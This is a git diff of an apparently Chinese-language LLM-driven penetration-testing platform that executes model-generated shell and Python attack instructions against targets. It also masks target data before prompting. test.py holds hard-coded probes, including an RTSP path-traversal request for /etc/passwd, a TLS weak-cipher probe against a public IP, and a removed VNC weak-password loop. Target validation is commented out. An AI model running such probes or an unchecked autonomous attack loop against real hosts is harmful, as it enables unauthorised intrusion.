if th_DBM.ok:
@ -139,9 +149,10 @@ class TaskObject:
ext_params, work_node.path)
else:
self.logger.error("数据库连接失败!!")
#暂存结果
oneres = {'执行指令': instr, '结果': reslut}
results.append(oneres)
# 暂存结果
fake_inst,fake_resul = self.DataFilter.filter_result(instr,reslut)
oneres = {'执行指令': fake_inst, '结果': fake_resul}
results.append(oneres) #结果入队列后,指令就不能回退
#一条指令执行完成
self.doing_instr_list[th_index] = ""
#指令都执行结束后,入节点待提交队列
@ -152,6 +163,7 @@ class TaskObject:
self.put_node_reslist(work_node, str_res, llm_type)
# 保存记录
g_PKM.WriteData(self.attack_tree,str(self.task_id))
except queue.Empty:
if bnode_work:
bnode_work = False
@ -187,7 +199,7 @@ class TaskObject:
- 节点名称{llm_node.name}
- 节点状态未完成
- 漏洞类型{llm_node.vul_type}
'''
'''
while True:
llm_data = llm_node.get_res()
if llm_data is None:
@ -196,10 +208,12 @@ class TaskObject:
str_res = llm_data["result"]
#获取提示词
prompt = self.get_llm_prompt(llm_type,str_res,user_Prompt)
fake_prompt = self.DataFilter.filter_prompt(prompt) #目标脱敏
self.doing_llm_list[th_index] = prompt
# 提交llm请求返回数据--并对返回数据进行处理,节点指令直接执行,测试指令根据工作模式执行
post_time = get_local_timestr()
bsuccess,node_cmds, commands,reasoning_content, content = self.LLM.get_llm_instruction(prompt,llm_node) # message要更新
bsuccess,node_cmds, commands,reasoning_content, content = self.LLM.get_llm_instruction(fake_prompt,llm_node,self.DataFilter) # message要更新 --llm_node只使用messages,都是脱敏后的数据
if not bsuccess:
self.logger.error(f"模型接口调用出错:{content}")
continue #丢弃 --若需要再次尝试,把llm_data再入队列
@ -233,7 +247,7 @@ class TaskObject:
strdata = "update accack_tree!"
asyncio.run(g_WSM.send_data(idatatype, strdata))
# 先取消当前task,已经通知前端重新获取,这样可以避免后端不必要的数据推送
self.taskM.web_cur_task = 0
#self.taskM.web_cur_task = 0
except queue.Empty:
if bnode_work:
bnode_work = False
@ -279,14 +293,15 @@ class TaskObject:
while self.brun:
try:
cur_time = get_local_timestr()
print(f"-----------当前时间程序运行情况:{cur_time}")
print(f"----------{self.task_id}-当前时间程序运行情况:{cur_time}")
#执行中instr-node
index = 0
for w_th in self.workth_list:
if not w_th.is_alive():#线程
print(f"线程-{index}已处于异常状态,需要重新创建一个工作线程")
print(f"Work线程-{index}已处于异常状态,需要重新创建一个工作线程")
else:
print(f"线程-{index}在执行指令:{self.doing_instr_list[index]}")
if self.doing_instr_list[index]:
print(f"Work线程-{index}-在执行指令:{self.doing_instr_list[index]}")
index += 1
index = 0
@ -294,7 +309,8 @@ class TaskObject:
if not l_th.is_alive():
print(f"LLM线程-{index}已处于异常状态,需要重新创建一个LLM线程")
else:
print(f"LLM线程-{index}在执行指令:{self.doing_llm_list[index]}")
if self.doing_llm_list[index]:
print(f"LLM线程-{index}-在执行指令:{self.doing_llm_list[index]}")
index += 1
#处理点修复操作
icount +=1
@ -485,7 +501,7 @@ class TaskObject:
#更新状态
bchange = node.update_work_status(work_status)
#基于websocket推送到前端
if bchange:
if bchange and work_status != 1: #llm执行完成后会发送单独的指令更新树,所以不发送1更新节点了
#判断是否是web端最新获取数据的task
if self.taskM.web_cur_task == self.task_id:
idatatype = 1
@ -681,8 +697,9 @@ class TaskObject:
2.这些节点的父节点为当前节点请正确生成这些节点的节点路径
3.只有当还有节点未能生成测试指令或不完整时才返回未生成指令的节点列表
'''
bsuccess,node_cmds, commands, reasoning_content, content, post_time = self.LLM.get_llm_instruction(user_Prompt,
cur_node) # message要更新
fake_prompt = self.DataFilter.filter_prompt(user_Prompt)
bsuccess,node_cmds, commands, reasoning_content, content = self.LLM.get_llm_instruction(fake_prompt,
cur_node,self.DataFilter) # message要更新
if not bsuccess:
self.logger.error(f"模型接口调用出错:{content}")
ierror += 1
@ -692,6 +709,7 @@ class TaskObject:
res_str = ""
# LLM记录存数据库
cur_node.llm_sn += 1
post_time = get_local_timestr()
bres = DBM.insert_llm(self.task_id, user_Prompt, reasoning_content, content, post_time, cur_node.llm_sn,cur_node.path)
if not bres:
self.logger.error(f"{cur_node.name}-llm入库失败!")
@ -712,56 +730,99 @@ class TaskObject:
self.logger.debug("未添加指令的节点,都已完成指令的添加!")
return new_commands
def start_task(self,task_id,task_status=1,attack_tree=None):
#-----------------任务的启停--------------------
def init_task(self,task_id,attack_tree = None):
self.task_id = task_id
'''
启动该测试任务
'''
#判断目标合法性
# bok,target,type = self.TargetM.validate_and_extract(self.target) #是否还需要判断待定?
# if not bok:
# return False, "{target}检测目标不合规,请检查!"
#初始化节点树
if attack_tree:#有值的情况是load
self.attack_tree =attack_tree
#加载未完成的任务
if self.work_type ==1:#自动模式
#提交到mq,待线程执行
# 初始化节点树
if attack_tree: # 有值的情况是load
self.attack_tree = attack_tree
# 加载未完成的任务
if self.work_type == 1: # 自动模式
# 提交到mq,待线程执行
self.put_work_node()
else: #无值的情况是new_create
root_node = TreeNode(self.target, self.task_id) #根节点
self.attack_tree = AttackTree(root_node) #创建测试树,同时更新根节点相关内容
self.LLM.build_initial_prompt(root_node) #对根节点初始化system-msg
#插入一个user消息
else: # 无值的情况是new_create
root_node = TreeNode(self.target, self.task_id) # 根节点
self.attack_tree = AttackTree(root_node) # 创建测试树,同时更新根节点相关内容
self.LLM.build_initial_prompt(root_node) # 对根节点初始化system-msg
# 插入一个user消息
# 提交第一个llm任务,开始工作
know_info = f"本测试主机的IP地址为:{self.local_ip}"
if self.cookie:
know_info = know_info + f",本站点的cookie值为{self.cookie}"
self.put_node_reslist(root_node,know_info,0) #入待提交list
#初始保存个attack_tree文件
g_PKM.WriteData(self.attack_tree,str(self.task_id))
#启动工作线程
self.task_status = task_status
self.brun = True #线程正常启动
#启动指令工作线程
for i in range(self.max_thread_num):
w_th = threading.Thread(target=self.do_worker_th,args=(i,))
w_th.start()
self.workth_list[i] = w_th
#启动llm提交线程--llm暂时单线程,多线程处理时attack_tree需要加锁
for j in range(self.llm_max_nums):
l_th = threading.Thread(target=self.th_llm_worker,args=(j,))
l_th.start()
self.llmth_list[j]=l_th
#启动自检线程
self.check_th = threading.Thread(target=self.th_check)
self.check_th.start()
self.put_node_reslist(root_node, know_info, 0) # 入待提交list
# 初始保存个attack_tree文件
g_PKM.WriteData(self.attack_tree, str(self.task_id))
def is_task_stop(self):
#检查任务是否处于停止状态--防止停止后,线程还没停,又启动工作线程,造成混乱
#工作线程
for work_th in self.workth_list:
if work_th:
if work_th.is_alive():
self.logger.debug(f"{self.task_id}有存活工作线程")
return False
#llm线程
for llm_th in self.llmth_list:
if llm_th:
if llm_th.is_alive():
self.logger.debug(f"{self.task_id}有存活LLM线程")
return False
#自检线程
if self.check_th:
if self.check_th.is_alive():
self.logger.debug(f"{self.task_id}有存活自检线程")
return False
#工作子进程池
if self.PythonM.is_pool_active():
self.logger.debug(f"{self.task_id}有存活子进程池")
return False
return True
def update_task_work_type(self,new_work_type):
self.work_type = new_work_type
#更新数据库
app_DBM.update_task_work_type(self.task_id,new_work_type)
def update_task_status(self,new_status):
self.task_status = new_status
#更新数据库
app_DBM.update_task_status(self.task_id,new_status)
def start_task(self):
'''
启动该测试任务
:return bool str
'''
if self.is_task_stop():
#更新状态标识
self.update_task_status(1)
self.brun = True #线程正常启动
#启动指令工作线程
for i in range(self.max_thread_num):
w_th = threading.Thread(target=self.do_worker_th,args=(i,),name=f"{self.task_id}-w_th-{i}")
w_th.start()
self.workth_list[i] = w_th
#启动llm提交线程--llm暂时单线程,多线程处理时attack_tree需要加锁
for j in range(self.llm_max_nums):
l_th = threading.Thread(target=self.th_llm_worker,args=(j,),name=f"{self.task_id}-l_th-{i}")
l_th.start()
self.llmth_list[j]=l_th
#启动自检线程
self.check_th = threading.Thread(target=self.th_check)
self.check_th.start()
#启动python子进程池 --进程池的启动,目前是没全面确认原子进程池的状态,直接None
self.PythonM.start_pool()
return True,"启动任务成功!" #就算启动了一部分线程,也要认为是成功
else:
return False,"该任务的工作线程未全面停止,不能重新启动工作,请稍后,若半个小时候还不能启动,请联系技术支持!"
def stop_task(self): #还未处理
self.brun = False
self.InstrM.init_data()
#结束任务需要收尾处理#?
if self.brun and self.task_status ==1: #不是正常工作状态就不执行停止工作了
#停止子进程池
self.PythonM.shutdown_pool()
#停止线程
self.brun = False
self.update_task_status(0)
# 结束任务需要收尾处理#?
self.InstrM.init_data() #pass
if __name__ == "__main__":
pass

9
mycode/WebSocketManager.py

@ -1,10 +1,13 @@
import json
import struct
import asyncio
from quart import websocket
class WebSocketManager:
def __init__(self):
self.ws_clients={}
self.ineed_send = 0
self.idone_send = 0
async def register(self, user_id, ws_proxy):
ws = ws_proxy._get_current_object() # 获取代理背后的真实对象
@ -41,9 +44,15 @@ class WebSocketManager:
header = b"TFTF" + struct.pack("!II", idatatype, idata_len)
message = header + body
try:
# self.ineed_send +=1
# print(f"第{self.ineed_send}次开始发送数据-{idatatype}")
await ws.send(message)
await asyncio.sleep(0)
# await ws.ping()
except Exception as e:
print(f"发送失败: {e}")
await self.unregister(user_id) # 异常时自动注销连接
# self.idone_send += 1
# print(f"WS-成功发送{self.idone_send}次数据-{idatatype}")
g_WSM = WebSocketManager()

3
pipfile

@ -15,6 +15,7 @@ pip install psycopg2 -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install dirsearch -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install pexpect -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install smbprotocol -i https://pypi.tuna.tsinghua.edu.cn/simple/
apt install sublist3r
apt install gobuster
@ -22,6 +23,8 @@ apt install jq
apt install libpq-dev python3-dev
apt install sshpass
sudo apt install ncat
#smuggler
git clone https://github.com/defparam/smuggler.git

6
run.py

@ -11,6 +11,12 @@ async def run_quart_app():
config.bind = ["0.0.0.0:5001"]
config.use_reloader = True # 启用热重载
config.reload_include_patterns = ["*.py", "templates/*", "static/*"] # 监控模板和静态文件
# Enable HTTPS
# config.certfile = "cert.pem" # Path to your certificate file
# config.keyfile = "key.pem" # Path to your private key file
# config.alpn_protocols = ["http/1.1"]
await serve(app, config)

153
test.py

@ -34,47 +34,27 @@ class Mytest:
g_PKM.WriteData(attack_tree, attack_index)
def dynamic_fun(self):
import socket
try:
# 尝试无密码连接VNC
result = subprocess.run(
['vncviewer', '-passwd', '/dev/null', '192.168.204.137:5900', '-geometry', '1x1'],
timeout=15, capture_output=True, text=True
)
if 'Authentication failure' in result.stderr:
# 尝试常见弱口令组合
credentials = [
('admin', 'admin'),
('root', 'root'),
('vnc', 'vnc'),
('user', 'password')
]
for user, pwd in credentials:
cmd = f'vncauth {user} {pwd}'
auth_test = subprocess.run(cmd, shell=True, capture_output=True)
if auth_test.returncode == 0:
return (True, f'Valid credentials found: {user}/{pwd}')
return (False, 'No weak credentials found')
elif 'Connected' in result.stdout:
return (True, 'VNC access without authentication')
except subprocess.TimeoutExpired:
return (False, 'Connection timeout')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(20) # 增加超时时间
s.connect(("192.168.3.105", 52989))
# 基于返回的 "99 -1 45973" 字符串构造特殊payload
special_cmd = b'99\\x01\\x00\\x00\\x00' # 模拟协议头
s.sendall(special_cmd)
response = s.recv(2048)
s.close()
return (True, f"SpecialCmd Response: {response.hex()}")
except Exception as e:
return (False, f'Error: {str(e)}')
return (False, str(e))
def do_test(self):
import mysql.connector
cnx = mysql.connector.connect(
host="192.168.204.137",
user="root",
password="",
ssl_disabled=True
)
cur = cnx.cursor()
cur.execute("SHOW VARIABLES LIKE 'character_set_client'")
print(cur.fetchall()) # 应该显示 ('character_set_client', 'utf8')
cnx.close()
pass
def tmp_test(self):
list_a = [0,1,2,3,4,5,6,7,8,9]
@ -90,91 +70,84 @@ if __name__ == "__main__":
# 示例使用
mytest = Mytest()
LLM = LLMManager(1)
PythonM = PythonTManager(myCongif.get_data("Python_max_procs"))
current_path = os.path.dirname(os.path.realpath(__file__))
print(current_path)
test_type = 1
task_id = 16
task_Object = TaskObject("test_target","cookie_info",1,1,1,"local_ip",None)
task_id = 49
task_Object = TaskObject("test_target","cookie_info",1,1,1,"local_ip","",None)
if test_type == 0:
mytest.dynamic_fun()
elif test_type == 1:
# # 获取所有自定义函数详情 HIGH_RISK_FUNCTIONS = ['eval', 'exec', 'os.system', 'subprocess.call', 'subprocess.Popen']
str_instr = '''python-code
import ssl
from socket import create_connection
instruction = '''python-code
def dynamic_fun():
import socket
try:
# 强制使用CBC模式弱加密套件
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
context.set_ciphers('AES128-SHA')
# 构造异常填充测试数据
sock = create_connection(('58.216.217.70', 443))
ssock = context.wrap_socket(sock, server_hostname='58.216.217.70')
# 发送包含异常填充的测试请求
ssock.send(b"GET / HTTP/1.1\\r\\nHost: 58.216.217.70\\r\\n"
b"Cookie: test=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\r\\n\\r\\n")
response = ssock.recv(2048)
# 检测异常响应模式
if b"HTTP/1.1 200 OK" in response:
return (True, "服务器接受异常填充数据")
return (False, "未检测到典型漏洞特征")
except ssl.SSLError as e:
return (False, f"加密错误: {repr(e)}")
except Exception as e:
return (False, f"验证失败: {str(e)}")
'''
#str_instr = str_instr.strip() + " --max-time 10"
dedented_code = textwrap.dedent(str_instr.strip())
#对多shell指令的情况进行处理--也有风险
if "python-code" not in dedented_code:
if "&&" in dedented_code:
dedented_code = task_Object.mill_instr_preprocess(dedented_code, "&&")
elif "||" in dedented_code:
dedented_code = task_Object.mill_instr_preprocess(dedented_code, "||")
instr, reslut, source_result, ext_params = g_instrM.execute_instruction(dedented_code)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(20) # 设置超时时间为20秒
s.connect(("192.168.3.105", 11200))
# 发送畸形RTSP请求探测边界条件
payload = "DESCRIBE rtsp://192.168.3.105/../../../../etc/passwd RTSP/1.0\\\\r\\\\n"
payload += "CSeq: 6\\\\r\\\\n\\\\r\\\\n"
s.send(payload.encode())
response = s.recv(4096).decode()
s.close()
if "404" in response:
return (False, "存在输入过滤机制")
elif "root:" in response:
return (True, "成功读取敏感文件")
else:
instr, reslut, source_result, ext_params = PythonM.execute_instruction(dedented_code)
return (False, f"未知响应:{response}")
# 只取结果的5000长度
reslut = task_Object.smart_truncate(reslut)
except Exception as e:
return (False, f"连接异常:{str(e)}")
'''
task_Object.PythonM.start_pool() #开个子进程池就行
start_time, end_time, bsuccess, instr, reslut, source_result, ext_params = task_Object.do_instruction(instruction)
# 暂存结果
oneres = {'执行指令': instr, '结果': reslut}
print("----执行结果----")
print(reslut)
elif test_type == 2: #给节点添加指令
node_path = "目标系统->192.168.3.105->52989端口"
instr_id = 3233
g_TaskM.load_tasks()
task = g_TaskM.tasks[task_id]
nodes = task.attack_tree.traverse_dfs()
cur_node = nodes[78]
commands = [
]
for cmd in commands:
cur_node.add_instr(cmd)
cur_node = None
for node in nodes:
if node.path == node_path:
cur_node = node
break
if cur_node:
str_instr = app_DBM.get_one_instr(instr_id)
if "import" in str_instr:
str_instr = "python-code " + str_instr
cur_node.test_add_instr(str_instr)
cur_node.update_work_status(1)
#保存数据
g_PKM.WriteData(task.attack_tree,str(task.task_id))
#保存数据
g_PKM.WriteData(task.attack_tree,str(task.task_id))
else:
print("没找到节点!")
elif test_type ==3: #测试指令入节点
strinstr = '''
)
'''
strNodes = "执行系统命令探测,权限提升尝试,横向移动测试"
nodes = strNodes.split(', ')
unique_names = list(set(nodes)) # 去重
for node_name in unique_names:
print(node_name)
elif test_type == 4: # 修改Messages
attact_tree = g_PKM.ReadData("27")
# 创建一个新的节点
from mycode.AttackMap import TreeNode
testnode = TreeNode("test", 0)
LLM.build_initial_prompt(testnode) # 新的Message
systems = testnode.parent_messages[0]["content"]
@ -186,7 +159,7 @@ def dynamic_fun():
g_PKM.WriteData(attact_tree, "27")
print("完成Messgae更新")
elif test_type ==5:
mytest.do_test()
mytest.dynamic_fun()
elif test_type == 6:
mytest.tmp_test()
else:

4
tools/CurlTool.py

@ -14,7 +14,7 @@ class CurlTool(ToolBase):
# self.verify_ssl = True
def get_time_out(self):
return 60
return 61*2
def validate_instruction(self, instruction_old):
#instruction = instruction_old
@ -97,7 +97,7 @@ class CurlTool(ToolBase):
return error
except Exception as e:
return (False, f"命令执行失败: {str(e)}")
return (f"命令执行失败: {str(e)}")
def execute_instruction(self, instruction_old):
ext_params = self.create_extparams()

42
tools/EchoTool.py

@ -1,13 +1,49 @@
from tools.ToolBase import ToolBase
import pexpect
class EchoTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
if " nc " in instruction:
timeout = 60
timeout = 60*5
return instruction,timeout
def do_worker_pexpect(self, str_instruction, timeout, ext_params):
try:
result = ""
exc_do = pexpect.spawn('bash', ['-c', str_instruction], timeout=timeout,
encoding='utf-8') # spawn 第一个参数是可执行文件
index = exc_do.expect([
pexpect.TIMEOUT,
pexpect.EOF
])
result += str(exc_do.before)
if index == 0:
result += f"\n执行超时{timeout}"
elif index == 1:
pass
else:
print("遇到其他输出!")
pass
return result
except Exception as e:
return f"执行错误: {str(e)}"
def execute_instruction(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
output = self.do_worker_pexpect(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
if "GET / HTTP/1.1" in result and "X-Original-URL: /proc/self/environ" in result:

2
tools/ToolBase.py

@ -152,7 +152,7 @@ class ToolBase(abc.ABC):
stderr = ""
try:
if timeout == 0:
result = subprocess.run(instruction, shell=True, capture_output=True, text=True)
result = subprocess.run(instruction, shell=True, capture_output=True, text=True,timeout=60*30)
elif timeout >0:
result = subprocess.run(instruction, shell=True, capture_output=True, text=True, timeout=timeout)
else:

27
web/API/task.py

@ -19,27 +19,24 @@ def is_valid_target(test_target: str) -> bool:
@login_required
async def start_task(): #开始任务
data = await request.get_json()
test_target = data.get("testTarget")
cookie_info = data.get("cookieInfo")
test_target = data.get("testTarget") #调整为多目标
llm_type = data.get("curmodel") # //0-腾讯云,1-DS,2-2233.ai,3-GPT 目前只有1-2,2025-4-4
work_type = data.get("workType") #0-人工,1-自动
work_type = 0 #data.get("workType") #0-人工,1-自动
if llm_type == 2:
return jsonify({"error": "O3余额不足,请更换模型!"}), 400
#新增任务处理
bok,_,_ = g_TM.validate_and_extract(test_target)
if not bok:
# 返回错误信息,状态码 400 表示请求错误
return jsonify({"error": "测试目标验证失败,请检查输入内容!"}), 400
# #新增任务处理
# bok,_,_ = g_TM.validate_and_extract(test_target)
# if not bok:
# # 返回错误信息,状态码 400 表示请求错误
# return jsonify({"error": "测试目标验证失败,请检查输入内容!"}), 400
#开始任务
try:
b_success = g_TaskM.create_task(test_target,cookie_info,llm_type,work_type)
#再启动
if not b_success:
return jsonify({"error": "检测任务创建失败,请联系管理员!"}), 500
fail_list = g_TaskM.create_task(test_target,llm_type,work_type)
return jsonify({"fail_list":fail_list})
except:
return jsonify({"error": "该目标已经在测试中,请检查"}), 400
return jsonify({"error": "创建任务异常,前反馈给技术人员!"}), 400
#跳转到任务管理页面
return redirect(url_for('main.get_html', html='task_manager.html'))
# return redirect(url_for('main.get_html', html='task_manager.html'))
@api.route('/task/taskover',methods=['POST'])
@login_required
@ -61,7 +58,6 @@ async def del_task():
bsuccess,error = g_TaskM.del_task(task_id)
return jsonify({"bsuccess": bsuccess, "error": error})
@api.route('/task/getlist',methods=['GET'])
@login_required
async def get_task_list():
@ -160,6 +156,7 @@ async def node_one_step():
@api.route('/task/taskworktype',methods=['POST'])
@login_required
async def task_work_type_control():
return jsonify({'error': '开发阶段不允许修改测试模式'}), 400
data = await request.get_json()
task_id = data.get("cur_task_id")
newwork_type = data.get("mode")

10
web/API/wsm.py

@ -1,19 +1,13 @@
import json
import socket
from . import api
from quart import Quart, websocket, jsonify
from mycode.WebSocketManager import g_WSM
from web.common.utils import login_required
from web.common.utils import login_required
# WebSocket 路由,端口默认与 HTTP 同端口,例如 5000(开发时)
@api.websocket("/ws")
@login_required
async def ws():
"""
WebSocket 连接入口
1. 客户端连接成功后首先应发送登录数据包例如 {"user_id": 1}
2. 后端解析登录数据包 user_id websocket 绑定注册
3. 后续进入消息接收循环根据数据协议TFTF++体格式处理数据
"""
# 接收登录数据包(假设为纯 JSON 包,非二进制格式)
login_msg = await websocket.receive()
try:

8
web/__init__.py

@ -5,13 +5,9 @@ from quart_cors import cors
from pymemcache.client import base
from .main import main
from .API import api
from quart import redirect, request
from functools import wraps
from myutils.ConfigManager import myCongif
# from quart_sqlalchemy import SQLAlchemy
# from flask_migrate import Migrate
#app.config['SECRET_KEY'] = 'mysecret' #密钥 --需要放配置文件
#socketio = SocketIO(app)
# Create the custom backend for quart-session
class MemcachedSessionInterface: #只是能用,不明所以
@ -35,8 +31,6 @@ def create_app():
app = Quart(__name__)
app.config['SECRET_KEY'] = 'zfxxkj_2024_!@#'
app.config["TEMPLATES_AUTO_RELOAD"] = True #动态加载模板文件
#app.config['SESSION_FILE_DIR'] = './sessions' # session保存路径
#app.config['SESSION_MEMCACHED'] = base.Client(('localhost', 11211))
app.config['SESSION_PERMANENT'] = True # 如果设置为True,则关闭浏览器session就失效。
app.config['SESSION_USE_SIGNER'] = False # 是否对发送到浏览器上session的cookie值进行加密
app.config['SESSION_TYPE'] = 'redis' # session类型

12
web/common/utils.py

@ -3,7 +3,7 @@ import random
import string
import io
from functools import wraps
from quart import session, redirect, url_for, flash,current_app
from quart import session, redirect, url_for, flash,current_app,request
def generate_captcha():
characters = string.ascii_uppercase + string.digits
@ -33,6 +33,15 @@ def generate_captcha():
def verify_captcha(user_input, actual_captcha):
return user_input == actual_captcha
def require_https(f):
@wraps(f)
async def decorated_function(*args, **kwargs):
if request.scheme == "http":
https_url = request.url.replace("http://", "https://", 1)
return redirect(https_url, code=301)
return await f(*args, **kwargs)
return decorated_function
def login_required(f):
@wraps(f)
@ -42,6 +51,7 @@ def login_required(f):
if not username or not token:
await flash('未登录,请重新登录', 'error')
return redirect(url_for('main.login'))
#从redis取最新的token
redis_key = f"user_token:{username}"
server_token = await current_app.redis.get(redis_key)

147
web/main/static/resources/scripts/task_modal.js → web/main/static/resources/scripts/his_task_modal.js

@ -11,10 +11,11 @@
* "node_bwork":node.bwork,
* "node_vultype":node.vul_type,
* "node_vulgrade":node.vul_grade,
* "node_vulinfo":node.vul_info
* children: [ { ... }, { ... } ]
* }
*/
function generateTreeHTML(nodeData) {
function his_generateTreeHTML(nodeData) {
const li = document.createElement("li");
const nodeSpan = document.createElement("span");
nodeSpan.className = "tree-node";
@ -25,6 +26,7 @@
nodeSpan.setAttribute("data-node_bwork", nodeData.node_bwork);
nodeSpan.setAttribute("data-node_vultype", nodeData.node_vultype);
nodeSpan.setAttribute("data-node_vulgrade", nodeData.node_vulgrade || "");
nodeSpan.setAttribute("data-node_vulinfo", nodeData.node_vulinfo);
nodeSpan.setAttribute("data-node_workstatus",nodeData.node_workstatus);
if(nodeData.node_workstatus ===0){
nodeSpan.classList.add("no-work");
@ -63,7 +65,7 @@
if (nodeData.children && nodeData.children.length > 0) {
const ul = document.createElement("ul");
nodeData.children.forEach((child) => {
ul.appendChild(generateTreeHTML(child));
ul.appendChild(his_generateTreeHTML(child));
});
li.appendChild(ul);
}
@ -89,6 +91,7 @@
const nodebwork = el.getAttribute("data-node_bwork");
const vulType = el.getAttribute("data-node_vultype");
const vulLevel = el.getAttribute("data-node_vulgrade");
const vulInfo = el.getAttribute("data-node_vulinfo");
const workstatus = el.getAttribute("data-node_workstatus");
//selectedNodeData = { nodeName, status, vulType, vulLevel,nodepath,nodebwork };
// 示例中默认填充
@ -99,10 +102,11 @@
node_bwork: nodebwork,
vul_type: vulType,
vul_grade: vulLevel || "-",
vul_info:vulInfo,
workstatus: workstatus
};
//刷新界面内容
update_select_node_data_show(nodeName,status,vulType,vulLevel,workstatus,nodebwork)
update_select_node_data_show(nodeName,status,vulType,vulLevel,vulInfo,workstatus,nodebwork)
});
// 双击事件:展开/收缩子节点区域
el.addEventListener("dblclick", (event) => {
@ -126,11 +130,11 @@
}
// 动态加载节点树数据
async function loadNodeTree(task_id) {
async function his_loadNodeTree(task_id) {
// 清空选中状态
selectedNodeData = null;
//刷新界面内容
update_select_node_data_show("-","-","-","-","-",false)
update_select_node_data_show("-","-","-","-","-","-",false)
try {
const res = await fetch("/api/task/gethistree", {
method: "POST",
@ -152,7 +156,7 @@
// 创建一个 <ul> 作为树的根容器
const ul = document.createElement("ul");
ul.className = "tree-root-ul";
ul.appendChild(generateTreeHTML(treeData));
ul.appendChild(his_generateTreeHTML(treeData));
// 替换节点树容器的内容
const container = document.getElementById("treeContent");
container.innerHTML = "";
@ -210,11 +214,12 @@
}
//刷新节点的数据显示
function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,workStatus,nodebwork){
function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,vulInfo,workStatus,nodebwork){
document.getElementById("nodeName").textContent = nodeName;
document.getElementById("testStatus").textContent = testStatus;
document.getElementById("node_vulType").textContent = vulType;
document.getElementById("node_vulLevel").textContent = vulLevel;
document.getElementById("node_vulInfo").textContent = vulInfo;
str_workStatus = getWorkStatus_Str(Number(workStatus));
document.getElementById("node_workstatus").textContent = str_workStatus;
if(nodebwork==="true"){
@ -254,6 +259,13 @@
return true;
}
// 处理 CSV 字段,确保特殊字符正确转义
function escapeCsvField(value) {
if (value == null) return "";
const str = String(value).replace(/"/g, '""').replace(/\n/g, " ");
return `"${str}"`; // 用引号包裹字段
}
//----------------------查看节点--指令modal----------------------------
let doneInstrs = []; // 已执行指令的所有数据
let todoInstrs = []; // 待执行指令的所有数据
@ -442,46 +454,52 @@
}
});
// 导出当前页数据
// 导出数据
document.getElementById("btnExport").addEventListener("click", () => {
// 判断当前是哪个 Tab
const activeTab = document.querySelector("#instrTab button.nav-link.active");
if (activeTab.id === "doneInstrTab") {
exportCurrentPage(doneInstrs, donePage, ["序号", "执行指令", "执行时间", "执行结果"]);
exportCurrentPage(doneInstrs, ["序号", "执行指令", "执行时间", "执行结果"]);
} else {
exportCurrentPage(todoInstrs, todoPage, ["序号", "待执行指令"]);
exportCurrentPage(todoInstrs, ["序号", "待执行指令"]);
}
});
function exportCurrentPage(dataArr, page, headerArr) {
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = dataArr.slice(startIndex, endIndex);
function exportCurrentPage(dataArr, headerArr) {
// Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 调试:检查 dataArr 内容
//console.log('Exporting dataArr:', dataArr);
// 如果 dataArr 为空,返回提示
if (!dataArr || dataArr.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csvContent = "\uFEFF" + headerArr.join(",") + "\n";
pageData.forEach((item, i) => {
const rowIndex = startIndex + i + 1;
dataArr.forEach((item, i) => {
const rowIndex = i + 1;
if (headerArr.length === 4) {
// 已执行:序号,执行指令,执行时间,执行结果
csvContent += rowIndex + "," +
(item.command || "") + "," +
(item.execTime || "") + "," +
(item.result || "") + "\n";
csvContent +=
[
rowIndex,
escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[2] || ""),
].join(",") + "\n";
} else {
// 待执行:序号,待执行指令
csvContent += rowIndex + "," + (item.command || "") + "\n";
csvContent +=
[rowIndex, escapeCsvField(item.cmd || "")].join(",") + "\n";
}
});
// 如果不足 pageSize 行,补足空行(根据列数进行适当补全)
for (let i = pageData.length; i < pageSize; i++) {
// 根据 headerArr.length 来设置空行的格式
if (headerArr.length === 4) {
csvContent += ",,,\n";
} else {
csvContent += ",\n";
}
}
const blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
@ -520,6 +538,10 @@ function renderTableRows(tbody, rowsData) {
}
}
//指令和漏洞数据的导出按钮点击事件
document.getElementById("instrExportBtn").addEventListener("click",()=>ExportInstructions());
document.getElementById("vulExportBtn").addEventListener("click",()=>ExportVuls());
//--------------------------测试指令-------------------------------
let allInstrs = [];
let currentInstrPage = 1;
@ -568,7 +590,37 @@ async function searchInstructions(page = 1) {
//导出测试指令数据
async function ExportInstructions(){
alert("导出指令功能实现中。。。")
// Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 如果 dataArr 为空,返回提示
if (!allInstrs || allInstrs.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csv = "\uFEFF" + "序号,节点路径,执行指令,执行结果\n"; // 添加 BOM 防乱码
allInstrs.forEach((item, i) => {
csv +=
[
escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[3] || ""),
escapeCsvField(item[4] || ""),
].join(",") + "\n";
});
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "执行指令.csv";
link.click();
URL.revokeObjectURL(url);
}
// 绑定测试指令查询按钮事件
